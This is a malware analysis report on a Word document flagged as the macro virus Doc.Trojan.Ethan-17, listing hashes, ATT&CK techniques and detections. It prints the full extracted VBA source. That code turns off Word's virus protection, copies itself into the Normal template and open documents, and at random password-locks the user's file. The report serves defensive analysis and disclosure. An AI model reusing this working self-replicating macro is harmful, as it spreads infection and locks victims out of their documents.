Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 76a44c6f5a15f135…

MALICIOUS

Office (OLE)

35.5 KB Created: 1997-09-17 10:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 36c4df1ca749157e731599434b1cacac SHA-1: 2b367a5edd6fb47e981a5dbc0788a5da9ae2fef6 SHA-256: 76a44c6f5a15f1355fe5acd4a866297f579c8ba47fa962e31e800ba5702cc1cc
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a Microsoft Word document containing VBA macros. The macros attempt to disable virus protection and persist by copying themselves to the Normal template or the active document, using the temporary file 'c:\windows\temp\wrdtmpa.tmp'. The ClamAV heuristic also flags this as Doc.Trojan.Ethan-17, indicating a known malicious document.

Heuristics 2

  • ClamAV: Doc.Trojan.Ethan-17 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ethan-17
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2986 bytes
SHA-256: bd9751a0c573e67741ac0ffd834031f6e869b7f28dc6a9bc2d0c80b1046772c0
Detection
ClamAV: Doc.Trojan.Ethan-17
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
    Application.EnableCancelKey = wdCancelDisabled
    With Options
        .VirusProtection = False
        .AllowFastSave = True
        .BackgroundSave = True
        .CreateBackup = False
        .SavePropertiesPrompt = False
        .SaveNormalPrompt = False
    End With
        
    Call Test_Pritomnosti
    Call Akce
    ActiveDocument.Save
    
    End Sub

Private Sub Test_Pritomnosti()
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then _
    Call Instaluj_Do_Sablony
    If ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then _
    Call Instaluj_do_Dokumentu
End Sub

Private Sub Instaluj_Do_Sablony()
Call Tmp_File
Open "c:\windows\temp\wrdtmpa.tmp" For Input As #1
If LOF(1) = 0 Then GoTo konec
i = 1
Do While Not EOF(1)
Line Input #1, a
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.InsertLines i, a
i = i + 1
Loop
konec:
Close #1
Kill "c:\windows\temp\wrdtmpa.tmp"
End Sub

Private Sub Instaluj_do_Dokumentu()
Call Tmp_File
Open "c:\windows\temp\wrdtmpa.tmp" For Input As #1
If LOF(1) = 0 Then GoTo konec
i = 1
Do While Not EOF(1)
Line Input #1, a
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.InsertLines i, a
i = i + 1
Loop
konec:
Close #1
Kill "c:\windows\temp\wrdtmpa.tmp"
End Sub

Private Sub Tmp_File()
Open "c:\windows\temp\wrdtmpa.tmp" For Output As #1
For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
Print #1, a
Next i
Close #1
SetAttr "c:\windows\temp\wrdtmpa.tmp", 6
End Sub

Private Sub Akce()
Dim Mesic, rok
Mesic = Month(Date)
rok = Year(Date)
If (Mesic = 3) Then GoTo konec   'Brezen mesic internetu - March is month of internet!
   If Rnd > 0.4 Then GoTo konec
      
    With ActiveDocument
        .Password = "DArk![FA]"
        .WritePassword = ""
    End With
    
    With Dialogs(wdDialogFileSummaryInfo): _
        .Title = "Easter  Surprise v1.1": _
        .Author = "DArk!, ISŠE": _
        .Keywords = "CZECH MADE!": _
        .Execute
    End With
    Application.DefaultSaveFormat = ""
    ActiveDocument.Save

konec:

End Sub















Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
    Application.EnableCancelKey = wdCancelDisabled
    With Options
        .VirusProte

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